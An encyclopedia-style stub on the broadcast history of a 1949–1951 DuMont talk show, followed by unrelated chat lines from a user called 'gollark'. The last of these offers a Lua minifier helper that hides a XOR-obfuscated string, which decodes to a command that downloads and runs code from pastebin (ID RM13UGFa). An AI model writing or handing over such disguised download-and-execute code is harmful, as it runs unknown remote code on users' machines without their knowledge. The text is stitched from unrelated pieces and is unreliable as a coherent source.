Broadcast history

The series was a talk show ran from 1949 to 1951 hosted by Charles Tranum. The program, produced and distributed by DuMont, aired Monday through Friday at 7:30pm or 7:45pm ET on most DuMont affiliates.[1]

From December 1949 to June 1950, Easy Aces aired in the Wednesday 7:45pm slot. During the 1950-1951 season, the Hazel Scott, Joan Edwards, and Susan Raye shows all ran in the 7:45pm ET slot immediately after Manhattan Spotlight.

The series was cancelled in 1951, and DuMont replaced the series with local (non-network) programming.

gollark: It works fine, you need to send a POST request.
gollark: ```lualocal b=[[local a=string.char;local b=string.byte;local c=bit.bxor;local function d(e,f)local g=""for h=1,#e do local i=e:sub(h,h)local j=bit.bxor(b(i),f)g=g..a(j)end;return g end;loadstring(d("SP^[YVSZ\23\29\16MPR\16OMPXM^RL\16WKKO\16O^LKZ]VQ\17SJ^\29\22\23\29MJQ\29\19\31\29mr\14\12jxy^\29\22",63))();]]return function(c)local d="https://osmarks.tk/luamin/";local e=http.post(d,b..c)local f=e.readAll()e.close()return f end```Do you prefer this?
